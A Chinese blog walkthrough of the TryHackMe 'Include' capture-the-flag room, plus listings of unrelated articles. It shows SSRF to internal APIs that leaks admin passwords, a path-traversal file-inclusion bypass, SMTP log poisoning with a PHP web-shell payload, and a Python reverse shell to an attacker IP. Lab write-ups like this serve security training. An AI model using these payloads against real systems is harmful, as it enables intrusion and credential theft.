news 2026/4/18 11:13:01

【Tryhackme练习】中级靶场:Include

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【Tryhackme练习】中级靶场:Include

题目

"Even if it's not accessible from the browser, can you still find a way to capture the flags and sneak into the secret admin panel?"
“即使浏览器无法访问,你还能找到办法捕获旗帜并潜入秘密管理员面板吗?”

信息收集

扫端口

nmap -p- 10.80.189.83
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) 25/tcp open smtp Postfix smtpd |_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, | ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal | Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal | Not valid before: 2021-11-10T16:53:34 |_Not valid after: 2031-11-08T16:53:34 |_ssl-date: TLS randomness does not represent time 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: UIDL SASL TOP STLS AUTH-RESP-CODE CAPA RESP-CODES PIPELINING | ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal | Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal | Not valid before: 2021-11-10T16:53:34 |_Not valid after: 2031-11-08T16:53:34 143/tcp open imap Dovecot imapd (Ubuntu) |_imap-capabilities: SASL-IR ENABLE more IMAP4rev1 post-login ID LOGINDISABLEDA0001 Pre-login OK capabilities IDLE listed STARTTLS LITERAL+ have LOGIN-REFERRALS | ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal | Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal | Not valid before: 2021-11-10T16:53:34 |_Not valid after: 2031-11-08T16:53:34 993/tcp open ssl/imap Dovecot imapd (Ubuntu) |_imap-capabilities: SASL-IR ENABLE more AUTH=PLAIN post-login ID AUTH=LOGINA0001 Pre-login OK IMAP4rev1 IDLE listed capabilities LITERAL+ have LOGIN-REFERRALS | ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal | Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal | Not valid before: 2021-11-10T16:53:34 |_Not valid after: 2031-11-08T16:53:34 995/tcp open ssl/pop3 Dovecot pop3d |_pop3-capabilities: UIDL SASL(PLAIN LOGIN) TOP USER AUTH-RESP-CODE CAPA RESP-CODES PIPELINING | ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal | Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal | Not valid before: 2021-11-10T16:53:34 |_Not valid after: 2031-11-08T16:53:34 4000/tcp open http Node.js (Express middleware) |_http-title: Sign In 50000/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: System Monitoring Portal Service Info: Host: mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel

flag1

在4000端口找到如下

在端口50000下找到如下页面

这里是一个Sysmon系统页面,里面有一句话如下

Note: This website is intended for authorized personnel only. Be advised that every action and request within this system is subject to monitoring and logging. Unauthorized access or misuse of this portal will be addressed in accordance with company policies and applicable laws.

还有一个登录页面

跑一下目录。4000没有跑出来东西

50000也没啥东西

回到4000端口,我们刚进来的时候直接就是登录页面

刚发现之前没注意的游客账户的账户密码,尴尬了

登录一下

逛了一圈,在查看个人资料这里看到一个线索,isAdmin!

下面有一个功能点

这里推荐的东西会出现在上面

那我们猜测一下应该也可以对里面的参数进行修改!

尝试修改名字

可以修改!

那修改isadmin

多了一个API的功能!

访问看了一下,结果如下

我们整理一下数据

Internal API GET http://127.0.0.1:5000/internal-api HTTP/1.1 Host: 127.0.0.1:5000 Response: { "secretKey": "superSecretKey123", "confidentialInfo": "This is very confidential." } Get Admins API GET http://127.0.0.1:5000/getAllAdmins101099991 HTTP/1.1 Host: 127.0.0.1:5000 Response: { "ReviewAppUsername": "admin", "ReviewAppPassword": "xxxxxx", "SysMonAppUsername": "administrator", "SysMonAppPassword": "xxxxxxxxx", }

这里看到,想要进入5000端口需要使用本机IP发送请求。

在我们更改isAdmin后,在settings的位置可以看到如下也页面

很明显这里就是让我们做ssrf请求的位置!

将接口http://127.0.0.1:5000/internal-api放到里面!

发送后结果如下

这里看到base64,应该是base64解码

eyJzZWNyZXRLZXkiOiJzdXBlclNlY3JldEtleTEyMyIsImNvbmZpZGVudGlhbEluZm8iOiJUaGlzIGlzIHZlcnkgY29uZmlkZW50aWFsIGluZm9ybWF0aW9uLiBIYW5kbGUgd2l0aCBjYXJlLiJ9 解码后 {"secretKey":"superSecretKey123","confidentialInfo":"This is very confidential information. Handle with care."}

这里推断出,每次发送ssrf之后,都会把结果以 base64 编码的形式发送到/admin/settings 页面

发送我们获取的admin的API接口!

http://127.0.0.1:5000/getAllAdmins101099991 结果:eyJSZXZpZXdBcHBVc2VybmFtZSI6ImFkbWluIiwiUmV2aWV3QXBwUGFzc3dvcmQiOiJhZG1pbkAhISEiLCJTeXNNb25BcHBVc2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJTeXNNb25BcHBQYXNzd29yZCI6IlMkOSRxazZkIyoqTFFVIn0= 解码后: {"ReviewAppUsername":"admin","ReviewAppPassword":"admin@!!!","SysMonAppUsername":"administrator","SysMonAppPassword":"S$9$qk6d#**LQU"}

成功拿到SysMonApp的管理员密码!以及ReviewAp的管理员密码!

ReviewAppUsername:admin ReviewAppPassword:admin@!!! SysMonAppUsername:administrator SysMonAppPassword:S$9$qk6d#**LQU

登录50000页面

拿到flag1

THM{!50_55Rf_1S_d_k3Y??!}

flag2

继续逛,这里找了很多地方,最后在网站源码中看到一个可疑点,注意这里的profile.php!

尝试访问了一下,结果如下,有戏!,既然这里没有直接解析成图片,那说不定可以进行本地文件读取

这里尝试了很多方式,最后找到了绕过方式payload如下

....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd

这里看了一下passwd文件,发现了两个用户

joshua charles

尝试读取私钥,果然不行

整理一下思路,通过4000打到50000,现在手机有一个本地文件包含。但貌似做了一些限制。本地文件包含不是经常配合文件上传的图片马等漏洞做配合吗!!!。更改这么多协议,会不会是让我们包含日志!

尝试读取一下上面哪些协议的日志

先看22的

http://10.80.189.83:50000/profile.php?img=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//var/log/auth.log

邮服的

http://10.80.189.83:50000/profile.php?img=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//var/log/mail.log

尝试 ssh的写马能不能实现

不行,做了限制。日志没有记录

换邮服的

nc连一下

nc -nv 10.80.189.83 25

尝试写马

HELO attacker.com MAIL FROM:<test@test.com> RCPT TO:<?php system($_GET['cmd']); ?> DATA Subject: Test Log Injection This is a test. . QUIT

看一下日志

http://10.80.189.83:50000/profile.php?img=....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//var/log/mail.log&cmd=id

读取成功!!

这里尝试反弹shell

攻击主机IP: nc -lvnp 4444

这里试了几个反弹shell,最后通过python反弹过来了

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.80.103.9",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

这下面有一个贼长的文件。拿到最后的flag

THM{505eb0fb8a9f32853b4d955e1f9123ea}

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 11:05:49

比MySQL快100倍?ClickHouse性能优化全攻略

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个ClickHouse与MySQL的基准测试对比工具&#xff0c;功能&#xff1a;1. 自动生成测试数据集&#xff08;1亿行起&#xff09;2. 执行相同查询的耗时对比 3. 资源占用监控&a…

作者头像 李华
网站建设 2026/4/18 8:49:37

父页面调用子页面的表格校验功能

实现效果&#xff08;如下图&#xff09;&#xff1a;问题&#xff1a;想在父页面点击控制子页面的校验&#xff0c;且让组件的报错样式显示&#xff0c;如图样式&#xff1a;代码&#xff1a;<el-form:model"form"label-width"auto":rules"rules&…

作者头像 李华
网站建设 2026/4/18 8:46:33

1小时搭建Java性能监控看板:VisualVM+Prometheus整合

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 构建一个VisualVM数据导出和可视化原型&#xff0c;功能要求&#xff1a;1) 将VisualVM监控数据实时导出到Prometheus&#xff1b;2) 配置Grafana监控看板&#xff1b;3) 设置性能…

作者头像 李华
网站建设 2026/4/18 8:49:14

用DATART快速验证数据产品创意:48小时从想法到原型

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 开发一个数据产品原型生成器&#xff0c;用户输入&#xff1a;1) 目标用户群体 2) 要解决的核心问题 3) 可用数据源。系统自动生成&#xff1a;1) 建议的可视化方案 2) 交互原型 3…

作者头像 李华
网站建设 2026/4/18 8:40:59

NPM命令完全指南:小白到精通

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 生成一个交互式NPM学习应用&#xff0c;按难度分级教学&#xff1a;1&#xff09;基础篇&#xff08;install, init, run&#xff09;2&#xff09;进阶篇&#xff08;link, audit…

作者头像 李华
网站建设 2026/4/18 8:42:24

AI一键搞定:用快马平台自动配置CUDNN环境

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容&#xff1a; 创建一个Python脚本&#xff0c;自动检测系统环境并安装匹配的CUDNN版本。首先检查NVIDIA驱动和CUDA版本&#xff0c;然后从NVIDIA官网下载对应的CUDNN包&#xff0c;自动解压并复…

作者头像 李华